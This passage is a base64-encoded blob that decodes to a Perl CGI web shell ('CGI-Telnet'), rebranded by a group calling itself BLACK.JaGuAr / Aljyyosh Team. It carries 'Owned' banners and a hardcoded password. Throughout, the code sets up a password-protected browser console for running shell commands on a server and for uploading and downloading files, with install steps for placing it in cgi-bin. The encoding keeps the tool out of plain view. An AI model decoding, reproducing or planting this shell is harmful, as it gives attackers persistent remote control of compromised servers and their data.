XJhdGlvbiBTZWN0aW9uIGJlbG93LgojIDQuIFVwbG9hZCB0aGUgc2NyaXB0IHRvIGEgZGlyZWN0b3J5IG9uIHlvdXIgc2VydmVyIHdoaWNoIGhhcyBwZXJtaXNzaW9ucyB0bwojICAgIGV4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMgdXN1YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b3UgdXBsb2FkCiMgICAgdGhlIHNjcmlwdCBpbiBBU0NJSSBtb2RlLgojIDUuIENoYW5nZSB0aGUgcGVybWlzc2lvbiAoQ0hNT0QpIG9mIHRoZSBzY3JpcHQgdG8gNzU1LgojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB5b3VyIHdlYiBicm93c2VyLiBJZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbgojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJlIGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwKIyA3LiBMb2dpbiB1c2luZyB0aGUgcGFzc3dvcmQgdGhhdCB5b3Ugc3BlY2lmaWVkIGluIFN0ZXAgMi4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENvbmZpZ3VyYXRpb246IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXIKIyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiRQYXNzd29yZCA9ICJZZU1lTiI7CQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMKCQkJCSMgdG8gbG9naW4uCgokV2luTlQgPSAwOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdAoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuCgokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZAoJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuCgojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhCgokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPHRpdGxlPnIwMHRAQkxBQ0s8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0iY2VudGVyIj4KPGI+PGZvbnQgY29sb3I9IiMwMDAwODAiIHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwvdGQ+Cjx0ZCBiZ2NvbG9yPSIjMDAwMDgwIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIiBjb2xvcj0iIzAwOTkwMCI+PGI+Q0dJLVRlbG5ldCBDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWUgCn4gQnkgVGhlIEJMQUNLLkphR3VBciAtIEFsanl5b3NoIFRlYW08L2I+PC9mb250PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiNjMmMyYzIiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjEiPgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+RGlzY29ubmVjdDwvYT4gfAo8YSBocmVmPSJiZ19ASE9UTUFJTC5DT00iPkhlbHA8L2E+CjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CgkkTWVzc2FnZSA9IHEkPGZvbnQgY29sb3I9IiNGRjAwMDAiPjxmb250IGNvbG9yPSIjMDAwMDAwIj4KPC9mb250Pgo8cHJlPiAgICBfX19fX18gICBfICAgICAgICAgICAgICAgICAgICAgXyAgICAgXwogICB8ICAgX18gIFx8IHwgICAgICAgICAgICAgICAgICAgfCB8ICAvIC8KICAgfCAgfF9fKSApfCB8ICAgICAgX19fX19fICBfX19fIHwgfCAvIC8KICAgfCAgIF9fICAvfCB8ICAgIChfX19fXyAgfC8gIF9fX1wgIC8gLwo8Zm9udCBjb2xvcj0iI0U4MDAwMCI+ICAgfCAgfCAgfCAgXCB8ICAgICAgX19fXykgfCAgfCAgIHwgfFwgXAogICB8ICB8X18pICApIHwgX19fKCBfX19fICB8ICB8X19ffCB8IFwgXAogICB8X19fX19fXy98X19fX19ffF9fX19fXyB8XF9fX19fL198ICBcX1w8L2ZvbnQ+CjwvcHJlPgo8cHJlPiA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj6pIDIwMTEgLCBBbGp5eW9zaCBUZWFtPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwqT3duZWQqfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+XyA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi88L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fCjwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+IChfKTwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+QDhAODwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+e308L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPiZsdDtfX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxUaGUgQkxBQ0suSmFHdUFyLy18PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+JDsKIycKCXByaW50IDw8RU5EOwo8Y29kZT4KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPgpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+CkVzY2FwZSBjaGFyYWN0ZXIgaXMgXl0KPGNvZGU+JE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGJyPmxvZ2luOiByMDB0PGJyPgpwYXNzd29yZDo8YnI+CkxvZ2luIGluY29ycmVjdDxicj48YnI+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPgpsb2dpbjogQkxBQ0suSmFHdUFyPGJyPgpwYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VGb290ZXIKewoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIjxjb2RlPkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPjwvY29kZT4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCSZQcmludExvZ2luU2NyZWVuOwoJJlByaW50TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaAoJewoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCQkmUHJpbnRMb2dpblNjcmVlbjsKCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkCgkJewoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7CgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIltyMDB0XEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS